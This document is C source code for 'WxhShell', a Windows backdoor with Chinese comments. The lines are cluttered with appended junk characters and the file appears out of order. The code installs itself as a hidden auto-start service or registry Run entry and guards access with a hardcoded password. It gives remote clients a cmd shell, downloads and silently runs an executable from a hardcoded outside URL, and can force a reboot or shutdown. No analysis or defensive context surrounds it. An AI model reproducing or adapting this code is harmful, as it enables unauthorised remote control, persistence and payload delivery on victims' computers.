    if(Boot(SHUTDOWN)) .hd<,\nW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b~uz\%'3  
    else { }g6:9%ZMu  
    closesocket(wsh); wju2xM  
    ExitThread(0); `3GC}u>}  
    } IWbW=0IsS  
    break; z'FD{xdf  
    } BIyNiol$AJ  
  // 获取shell I`"B<=zi  
  case 's': { =gL~E9\  
    CmdShell(wsh); >5G2!Ns'  
    closesocket(wsh); yv2BbrYyy  
    ExitThread(0); rBG8.E36J  
    break; $$QbcnOf$  
  } XoI,m8A  
  // 退出 Eo)w f=rE9  
  case 'x': { 57W4E{A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @w:6m&KL9  
    CloseIt(wsh); E5@U~|V[  
    break; p<%76H A  
    } t<'-?B2g  
  // 离开 =pHWqGOD  
  case 'q': { k\,01Y^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~b L^&o(W  
    closesocket(wsh); 4'L%Wz[6  
    WSACleanup(); DxX333vC  
    exit(1); 1~X~"M  
    break; TK"!z(p  
        } 38(Cj~u=3  
  } T^'NC8v  
  } |/LCwq%  
@H'pvFLK?  
  // 提示信息 )./pS~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L\p@1N?K  
} D#lx&J.s  
  } z>_jC+  
ZT@a2:&  
  return; 4.@gV/U(|  
} e*[M*u  
{UX[SAQ  
// shell模块句柄 =l&A9 >\  
int CmdShell(SOCKET sock) ]F&<{\:_}  
{ []e*Io&[  
STARTUPINFO si; Q=hf,/N  
ZeroMemory(&si,sizeof(si)); WgBV,{ C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M[9]t("  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UMe@[E=  
PROCESS_INFORMATION ProcessInfo; {. r/tV5IH  
char cmdline[]="cmd"; Y)% CxaO `  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x@EEMO1_"  
  return 0; q*Xp"yBTo  
} (+g!~MP  
\ ]AsL&  
// 自身启动模式 r{~K8!=oU]  
int StartFromService(void) pq;)l( Hi  
{ E3N4(V\*  
typedef struct 7QdU|1]  
{ /?b<}am  
  DWORD ExitStatus; ,^JP0Vc*  
  DWORD PebBaseAddress; (0%0+vY  
  DWORD AffinityMask; mUi|vq)`=D  
  DWORD BasePriority; M5OH-'  
  ULONG UniqueProcessId; l\l\T<wa,  
  ULONG InheritedFromUniqueProcessId; ~5aq.hF1,A  
}   PROCESS_BASIC_INFORMATION; Jt4T)c9  
7S<Z&1(  
PROCNTQSIP NtQueryInformationProcess; ],%}}UN  
+M9=KVr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p-U'5<n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @:DS/#!  
Z@j$i\,`  
  HANDLE             hProcess; B^(0>Da\  
  PROCESS_BASIC_INFORMATION pbi; i>bFQ1Rdx  
{rr ED  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _96hw8  
  if(NULL == hInst ) return 0; SJVqfi3A  
Z iDmx-X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5Am*1S^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Fs:l"5~>1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >u5}5OP7  
;2RCgX!'%  
  if (!NtQueryInformationProcess) return 0; vO" $Xw  
c Xcn}gKV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -W>zON|l  
  if(!hProcess) return 0; {: EQ  
Y=/3_[G   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ->vfQwBFd  
(CY VSO  
  CloseHandle(hProcess); }vO^%Gd  
?7:"D e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }}~ ^!  
if(hProcess==NULL) return 0; Cg 85  
=1n>vUW+J  
HMODULE hMod; B dm<<<  
char procName[255]; Pw /wAUt  
unsigned long cbNeeded; Z.m.Uyz{7  
;BoeE3* 6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _*Vq1D]C  
-tx)7KV-  
  CloseHandle(hProcess); K1z"..(2J  
c[ff|-<g  
if(strstr(procName,"services")) return 1; // 以服务启动 Uy ;oJY  
7K9+7I&C  
  return 0; // 注册表启动 sr#, S(p  
} (m3p28Q?  
aI|)m8 >)X  
// 主模块 -$WiB  
int StartWxhshell(LPSTR lpCmdLine) Cgw#c%  
{ zy@ #R;  
  SOCKET wsl; Tjure]wQz  
BOOL val=TRUE; iG!MIt*  
  int port=0; 7Yj\*N  
  struct sockaddr_in door; zGZe|-  
9L:v$4{LU  
  if(wscfg.ws_autoins) Install(); K r]!BI?z  
3{CGYd]_u  
port=atoi(lpCmdLine); BY,%+>bc)  
? dSrY  
if(port<=0) port=wscfg.ws_port; RWTv,pLK  
9'//_ A,  
  WSADATA data; pS%,wjb&P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [Z Ea3/  
drtQEc>qT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "cJ5Fd:*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0?,EteR  
  door.sin_family = AF_INET; 6t]oSxN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i8HSYA  
  door.sin_port = htons(port); w #(XiH*  
|7%$+g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6xz&Qi7w  
closesocket(wsl); N@)4H2_u \  
return 1; Y]8l]l 1  
} BzWmV .5  
wm2Q(l*HH  
  if(listen(wsl,2) == INVALID_SOCKET) { P!bm$h*3?  
closesocket(wsl); zKV {JUpG  
return 1; j?z(fs-  
} !2&h=;i~V  
  Wxhshell(wsl); , st4K;-  
  WSACleanup(); &Vgjd>  
8-8= \  
return 0; d G:=tf&1R  
9MM4C  
} {8I93]  
3Q`'C7Pi  
// 以NT服务方式启动 cW&OVNj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3'&]v6|  
{ E?08=$^5%  
DWORD   status = 0; 7^Onq0ym T  
  DWORD   specificError = 0xfffffff; =~aJ]T}(  
 pd X9G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =}c~BHT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [BV{=;iD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N pRC3^  
  serviceStatus.dwWin32ExitCode     = 0; SZwfYY!ft0  
  serviceStatus.dwServiceSpecificExitCode = 0; UhEJznfi  
  serviceStatus.dwCheckPoint       = 0; 5jjJQ'  
  serviceStatus.dwWaitHint       = 0; 7?hC t  
23+GX&Rp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2EE#60  
  if (hServiceStatusHandle==0) return; =ARI*  
* rs_k/2(  
status = GetLastError(); >/'WU79TYE  
  if (status!=NO_ERROR) W BiBtU  
{ *Li;:b"t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *4(.=k  
    serviceStatus.dwCheckPoint       = 0; Bq@G@Qi  
    serviceStatus.dwWaitHint       = 0; )(!vd!p5  
    serviceStatus.dwWin32ExitCode     = status; rqa;MPl  
    serviceStatus.dwServiceSpecificExitCode = specificError; MCYrsgg}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Za01z^  
    return; $W0lz#s:  
  } +pjD{S~Y  
TUk1h\.q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %HSoQ?qA  
  serviceStatus.dwCheckPoint       = 0; oEi +S)_  
  serviceStatus.dwWaitHint       = 0; `,7BU??+u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t~bjDV^`  
} .eeM&n;c  
u(REEc~nj  
// 处理NT服务事件,比如:启动、停止 &_-~kU1K^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p$"*U[%l  
{ a!>AhOk.  
switch(fdwControl) +"d{P,[3J  
{ ("9)=x*5  
case SERVICE_CONTROL_STOP: XE>XzsnC  
  serviceStatus.dwWin32ExitCode = 0; ZsV'-gu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n ~ =]/  
  serviceStatus.dwCheckPoint   = 0; 4Q!*h8O  
  serviceStatus.dwWaitHint     = 0; 3[Z?`X  
  { #U6Wv1H{Lp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q&P"  
  } WS,p}:yPZG  
  return; \GPWC}V\s  
case SERVICE_CONTROL_PAUSE: ,Ma$:6`f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9vVYZ}HC  
  break; g/T`4"p[H  
case SERVICE_CONTROL_CONTINUE: & d~6MSk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `|]juc  
  break; >B3_P4pW9  
case SERVICE_CONTROL_INTERROGATE: a Fl(K\  
  break; #%E~I A%  
}; EW YpYMkm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $osDw1C  
} =k&'ft  
;H}? 8L  
// 标准应用程序主函数 OvQG%D}P=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t/nu/yz5E  
{ n!f @JHL  
<ZCjQkka>r  
// 获取操作系统版本 EpPKo  
OsIsNt=GetOsVer(); 7<X_\,I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )kg^.tP  
/y NU0/  
  // 从命令行安装 [,l BY-Kz+  
  if(strpbrk(lpCmdLine,"iI")) Install(); QhN5t/Hr  
]V}";cm;2  
  // 下载执行文件 Wny{qj)=  
if(wscfg.ws_downexe) { !v$hqNt7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UXe@c@3  
  WinExec(wscfg.ws_filenam,SW_HIDE); B(E+2;!QF  
} KZ&8aulP  
ve'hz{W  
if(!OsIsNt) { 7TlOF  
// 如果时win9x,隐藏进程并且设置为注册表启动 %}2 s74D*Z  
HideProc(); 3M/kfy  
StartWxhshell(lpCmdLine); \vpUl  
} (AV j_Cw  
else &Q 3!ty  
  if(StartFromService()) = q;ACW,z  
  // 以服务方式启动 JrS|Ib)6  
  StartServiceCtrlDispatcher(DispatchTable); j#.Aiy:,  
else q,kdr)-  
  // 普通方式启动 PC=b.H8P+W  
  StartWxhshell(lpCmdLine); $M#G;W5c  
 ig jr=e  
return 0; Un@dWf6'  
} z GA1  
qN[U|3k  
"}(*Km5Po  
r m\]  
=========================================== HZ )z^K?1  
`Z0FQ( r_  
[Vc8j&:L  
9x23## s  
yIA- +# r[  
/*i[MB  
" PsaKzAg?  
Y2W|b5  
#include <stdio.h> xo a1='  
#include <string.h> +9<"Y6  
#include <windows.h> Jx!#y A;  
#include <winsock2.h> #Ipi3  
#include <winsvc.h> <Y:{>=  
#include <urlmon.h> wQEsq<  
[+ K jun_  
#pragma comment (lib, "Ws2_32.lib") g1Ed:V]_  
#pragma comment (lib, "urlmon.lib") "m4. _4U  
Q V)>+6\  
#define MAX_USER   100 // 最大客户端连接数 gF# HNv  
#define BUF_SOCK   200 // sock buffer GRM6H|.  
#define KEY_BUFF   255 // 输入 buffer @IhC:Yc  
c#( Hh{0  
#define REBOOT     0   // 重启 -n FKP&P  
#define SHUTDOWN   1   // 关机 Ra) wlI x  
d<K2 \:P{}  
#define DEF_PORT   5000 // 监听端口 %D1 |0v8}  
+ fS<YT  
#define REG_LEN     16   // 注册表键长度 oq${}n<  
#define SVC_LEN     80   // NT服务名长度 `%;Hj _X}  
@QteC@k  
// 从dll定义API ORuC("  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'HKDGQl`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _Z7`tUS-j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4Hy/K^Ci  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v;soJlxF~  
O,6Wdw3+-3  
// wxhshell配置信息 e[ yN  
struct WSCFG { |;:g7eb  
  int ws_port;         // 监听端口 o1`\*]A7J  
  char ws_passstr[REG_LEN]; // 口令 JTIt!E}P  
  int ws_autoins;       // 安装标记, 1=yes 0=no `+z^#3l  
  char ws_regname[REG_LEN]; // 注册表键名 qG@YNc  
  char ws_svcname[REG_LEN]; // 服务名 "!+gA&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e,N}z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m8@&-,T   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p8Z?R^$9H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B*Q9g r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w4(L@1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '2GnAws^  
>-w(P/  
}; 1U% /~  
Q$uv \h;  
// default Wxhshell configuration #x;,RPw5  
struct WSCFG wscfg={DEF_PORT, G4uG"  
    "xuhuanlingzhe", {`QA.he.  
    1, K+pVRDRcs  
    "Wxhshell", P q$0ih  
    "Wxhshell", q.p.$)  
            "WxhShell Service", R&9FdM3K`:  
    "Wrsky Windows CmdShell Service", Q F)\\ D[  
    "Please Input Your Password: ", T'9ZR,{F  
  1, k,[*h-{8  
  "http://www.wrsky.com/wxhshell.exe", DmpT<SI+!  
  "Wxhshell.exe" zcKQD)]  
    }; u<Y#J,p`e  
B*N1)J\5  
// 消息定义模块 +LF#XS@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RFMPh<Ac  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;I&VpAPx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i|J%jA  
char *msg_ws_ext="\n\rExit."; ;xZjt4M1  
char *msg_ws_end="\n\rQuit."; oQ 2$z8  
char *msg_ws_boot="\n\rReboot..."; odCt6Du  
char *msg_ws_poff="\n\rShutdown..."; nq)F$@  
char *msg_ws_down="\n\rSave to "; T9C_=0(hn  
7 p{Pmq[  
char *msg_ws_err="\n\rErr!"; 6Q^~O*cw  
char *msg_ws_ok="\n\rOK!"; =eDIvNps  
b~J)LXj]w  
char ExeFile[MAX_PATH]; N ~{N Nf Y  
int nUser = 0; f#= c=e-A  
HANDLE handles[MAX_USER]; ?@ F2Kv  
int OsIsNt; VG);om7`PD  
hq)1YO  
SERVICE_STATUS       serviceStatus; u.|Z3=?VG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6RnzT d  
q.c)>=!.  
// 函数声明 xWxc1tT`  
int Install(void); TxX=(7V  
int Uninstall(void); j,.\QwpU  
int DownloadFile(char *sURL, SOCKET wsh); r 3W3;L   
int Boot(int flag); :OG I|[  
void HideProc(void); m1l6QcT1  
int GetOsVer(void); 2;8m0+tl  
int Wxhshell(SOCKET wsl); 7l D-|yx  
void TalkWithClient(void *cs); T$I_nxh[)L  
int CmdShell(SOCKET sock); BmG(+;;&  
int StartFromService(void); K:wI'N"N  
int StartWxhshell(LPSTR lpCmdLine); FTf#"'O  
5~L]zE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5 % 2A[B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9;E=w+  
FACw;/rW  
// 数据结构和表定义 D|N4X`T`  
SERVICE_TABLE_ENTRY DispatchTable[] = ^7-zwl(>?N  
{ #c^V %  
{wscfg.ws_svcname, NTServiceMain}, 2 T!Tiu  
{NULL, NULL} l/&.HF  
}; [9 W@<p  
Y%pab/Y  
// 自我安装 D 2X_Yv  
int Install(void) IS2cU'   
{ 6l#x1o;  
  char svExeFile[MAX_PATH]; L*6'u17y  
  HKEY key; S+ kq1R  
  strcpy(svExeFile,ExeFile); \N,ox(f?gW  
\|]mClj#  
// 如果是win9x系统,修改注册表设为自启动 ~r1pO#r-  
if(!OsIsNt) { |$RNY``J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kZ40a\9 Ye  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xz$4cI#n:  
  RegCloseKey(key); YX\vk/[|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]A*}Dem*5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,T$ts  
  RegCloseKey(key); w;z7vN~/O  
  return 0; BVQy@:K/  
    } $></%S2g  
  } LdPLC':}x|  
} BOs/:ZbK0W  
else { bSB%hFp=Cp  
sV\_DP/l  
// 如果是NT以上系统,安装为系统服务 j[>cv;h ;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2jsbg{QS#_  
if (schSCManager!=0) U!wi;W2  
{ dbI>\khI  
  SC_HANDLE schService = CreateService ,eXtY}E  
  ( hAGHb+:  
  schSCManager, >4:d)  
  wscfg.ws_svcname, 8Zv``t61  
  wscfg.ws_svcdisp, y.rN(  
  SERVICE_ALL_ACCESS, nbi7r cT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [a=exK  
  SERVICE_AUTO_START, | f#wbw  
  SERVICE_ERROR_NORMAL, }3pM,.  
  svExeFile, f6Qr0Op  
  NULL, vQAFgG  
  NULL, rP@#_(22  
  NULL, R.~[$G!  
  NULL, =2Y;)wrF  
  NULL aeqz~z2~8s  
  ); WK ~H]w  
  if (schService!=0) 3EoCEPb#  
  { *@U{[J  
  CloseServiceHandle(schService); &#r+a'  
  CloseServiceHandle(schSCManager); r*X,]\V0x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |)-kUu  
  strcat(svExeFile,wscfg.ws_svcname); )*')  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1+l8%G=hB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +7Ws`qhEe  
  RegCloseKey(key); ?J}Q&p.  
  return 0; >ohH4:  
    } ho]:)!|VY  
  } Q&9 yrx.  
  CloseServiceHandle(schSCManager); &C 9hT  
} %,>z`D,Hg  
} %!aU{E|@_  
nJD GNm,  
return 1; la!]Y-s)'4  
} ."Ms7=  
H4/wO  
// 自我卸载 {#,<)wFV\  
int Uninstall(void) #&3,T1i`  
{ &|v)   
  HKEY key; +pofN-*%  
@d75X YKu  
if(!OsIsNt) { fF Q|dE;cF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  q+P@2FL  
  RegDeleteValue(key,wscfg.ws_regname); _O9V"DM  
  RegCloseKey(key); Di9RRHn&q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `lf_wB+I  
  RegDeleteValue(key,wscfg.ws_regname); 1? >P3C  
  RegCloseKey(key); ?h<4trYcv  
  return 0; oXPA<ef o  
  } BK$y>= `  
} %sa?/pjK  
} /dnwN7Gf  
else { W4^L_p>Tm^  
w)btv{*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [%W'd9`>  
if (schSCManager!=0) 3JazQU  
{ spK8^sh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EF/d7  
  if (schService!=0) ycA<l"  
  { U(&c@u%  
  if(DeleteService(schService)!=0) { ;vx5 =^7P  
  CloseServiceHandle(schService); {UiSa'TR1b  
  CloseServiceHandle(schSCManager); -D^I;[j_  
  return 0; X>(1fra4  
  } *k?:k78L  
  CloseServiceHandle(schService); WM bkKC.{J  
  } fN vQ.;  
  CloseServiceHandle(schSCManager); ]8G 'R-8}  
} XF`2*:7  
} VRo&1:  
#^FM~5KK  
return 1; ,EqQU|  
} `sjY#Ua<  
ucCf%T\:  
// 从指定url下载文件 kc'$4 J4Tw  
int DownloadFile(char *sURL, SOCKET wsh) UmKE]1Yw4r  
{ IsXNAYj  
  HRESULT hr; (P>nA3:UXB  
char seps[]= "/"; }D1x%L  
char *token; q~{) {t;  
char *file; Iu'9yb  
char myURL[MAX_PATH]; 7UTfafOGX  
char myFILE[MAX_PATH]; kBUkE-~  
#*A'<Zm  
strcpy(myURL,sURL); uHbg&eW  
  token=strtok(myURL,seps); J"gMm@#C4  
  while(token!=NULL) !$)reaS  
  { Ae5A@4  
    file=token; Y;w|Fvjj+  
  token=strtok(NULL,seps); G?4@[m  
  } Jb,54uN  
k@xinK%O{  
GetCurrentDirectory(MAX_PATH,myFILE); z']6C9m}  
strcat(myFILE, "\\"); =<\22d5L  
strcat(myFILE, file); KpN]9d   
  send(wsh,myFILE,strlen(myFILE),0); XQ1]F{?/H  
send(wsh,"...",3,0); >N&{DJmD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "LlpZtw  
  if(hr==S_OK) ,fjY|ip  
return 0; O:BdZ5 b  
else Q0A4}  
return 1; n"iS[uj,  
;<~f-D,  
} @&T' h}|:  
t{;2$z 0  
// 系统电源模块 _hnsH I!oD  
int Boot(int flag) P" c@V,.  
{ XtCIUC{r,  
  HANDLE hToken; z|s(D<*w  
  TOKEN_PRIVILEGES tkp; 8W3zrnc  
aEf3hB*~  
  if(OsIsNt) { eKLvBa-{@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x,n l PU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e'b*_Ps'  
    tkp.PrivilegeCount = 1; .2I?^w&j+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _'D(>e?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ` wa;@p+j8  
if(flag==REBOOT) { m|NZ093d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Jm!,=} oP'  
  return 0; ,ye}p 1M  
} loA/d  
else { QN*|_H@h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2: QT`e&  
  return 0; R*GBxJaw  
} X~IilGL8:  
  } l/k-` LeW  
  else { %P}H3;2  
if(flag==REBOOT) { |GMo"[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 97Dq;  
  return 0; h6k" D4o\  
} )\yK61aX  
else { A=kOSq 4Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #ss/mvc3  
  return 0; (IV\s Y  
} ZH~bY2^;  
} b |:Y3_>  
nlpEkq  
return 1; Bq$IBAot  
} OROvy  
1G]D:9-?  
// win9x进程隐藏模块 pPa]@ z~O  
void HideProc(void) t]I9[5Pq\  
{ xJZaV!N|  
+ yI$4MY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  Gd A!8  
  if ( hKernel != NULL ) 7:B/ ?E  
  { ECt<\h7}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NsI.mTc2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {9(0s| pr  
    FreeLibrary(hKernel); n*"r!&Dg  
  } /"J 6``MV  
UYxn? W.g  
return; IP/%=m)\%  
} [.4{s  
tN<X3$aN  
// 获取操作系统版本 M(L6PyEa!Y  
int GetOsVer(void) (s&:D`e  
{ c2 NB@T9'v  
  OSVERSIONINFO winfo; 1UK= t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XB7*S*"!  
  GetVersionEx(&winfo); I;Mm+5A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9h|6"6  
  return 1; O*v&C Hd3  
  else =Rx4ZqTI|  
  return 0; ~;9n6U  
} :!MEBqcU  
<y8oYe_!  
// 客户端句柄模块 T/E=?kBR  
int Wxhshell(SOCKET wsl) H?O5 "4a  
{ {ol7*%u  
  SOCKET wsh; 6 eryf?  
  struct sockaddr_in client; "x R6~8  
  DWORD myID; `E1G9BbU  
.mfLHN%:  
  while(nUser<MAX_USER) ~qQZhu"  
{ 3F]Dh^IR9  
  int nSize=sizeof(client); k Nc- @B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @]q^O MLY  
  if(wsh==INVALID_SOCKET) return 1; b 9rQQS  
ke8g tbm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }xC2~  
if(handles[nUser]==0) r QiRhp  
  closesocket(wsh); b5H}0<  
else ic`BDkNO  
  nUser++; FWJ**J  
  } nE u:& 4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tkZUjQIX  
K-:y  
  return 0; ('J@GTe@xj  
} 7P2n{zd,  
c45 s #6  
// 关闭 socket ;Tr,BfV|Bf  
void CloseIt(SOCKET wsh) m6[}KkW  
{ -9FGFBm4]  
closesocket(wsh); (9RfsV4^  
nUser--; ?'0!>EjY"  
ExitThread(0); 3as=EYm  
} QNOdt2NN  
Xi%Og\vm5  
// 客户端请求句柄 pk9Ics;y  
void TalkWithClient(void *cs) Ez~5ax7x  
{ Hc'Pp{| X  
T='uqKW\  
  SOCKET wsh=(SOCKET)cs; h"+7cc@  
  char pwd[SVC_LEN]; I3.. Yk%7  
  char cmd[KEY_BUFF]; avq$aq(3&  
char chr[1]; _M/N_Fm  
int i,j; d~qQ_2M[G  
tgKr*8t{  
  while (nUser < MAX_USER) { iOg4(SPci  
U4=l`{5on  
if(wscfg.ws_passstr) { enJ; #aA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _Z]l=5d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )9"^ D  
  //ZeroMemory(pwd,KEY_BUFF); W"Y)a|rG%  
      i=0; KV$&qM.  
  while(i<SVC_LEN) { h,R Isq;`  
s0dP3tz>  
  // 设置超时 E#+2)Q  
  fd_set FdRead; %CHw+wT&  
  struct timeval TimeOut; boEQI=!j\+  
  FD_ZERO(&FdRead); 12U]=  
  FD_SET(wsh,&FdRead); .4^+q9M  
  TimeOut.tv_sec=8; pL1ABvBB  
  TimeOut.tv_usec=0; `B@eeXa;u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r%f Q$q>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qm!cv;}c1  
={%'tv`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^nNY| *  
  pwd=chr[0]; Ck )W=  
  if(chr[0]==0xd || chr[0]==0xa) { i'li;xUhZ  
  pwd=0; 4Y?2u  
  break; m@XX2l9:9  
  } xR0*w7YE  
  i++; SX"|~Pi(  
    } g@^y$wt  
> f X^NX  
  // 如果是非法用户,关闭 socket pRV.\*:c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "b`#RohCi  
} E2r5Pg  
1ARtFR2C{b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qI9j=4s.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S.`y%t.GP  
LSc^3=X  
while(1) { ?\,;KNQr  
?I^$35  
  ZeroMemory(cmd,KEY_BUFF); uuEvH<1  
P_3IFHe  
      // 自动支持客户端 telnet标准   5Jo'h]  
  j=0; #a=]h}&1?  
  while(j<KEY_BUFF) { #6\m TL4vg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HD KF>S_S  
  cmd[j]=chr[0]; |iUF3s|?  
  if(chr[0]==0xa || chr[0]==0xd) { Z0Sqw  
  cmd[j]=0; ks. p)F>]  
  break; !O"2)RU1  
  } A[m?^vk q  
  j++; ?MFC(Wsh  
    } R?)Yh.vi=t  
o(e(| k {  
  // 下载文件 /E<Q_/'Z  
  if(strstr(cmd,"http://")) { h81giY]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d3rjj4N"z  
  if(DownloadFile(cmd,wsh)) xMk>r1Ud  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  dHx4yFS  
  else NE#`ZUr3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ys[xR=nbD  
  } <7`k[~)VB  
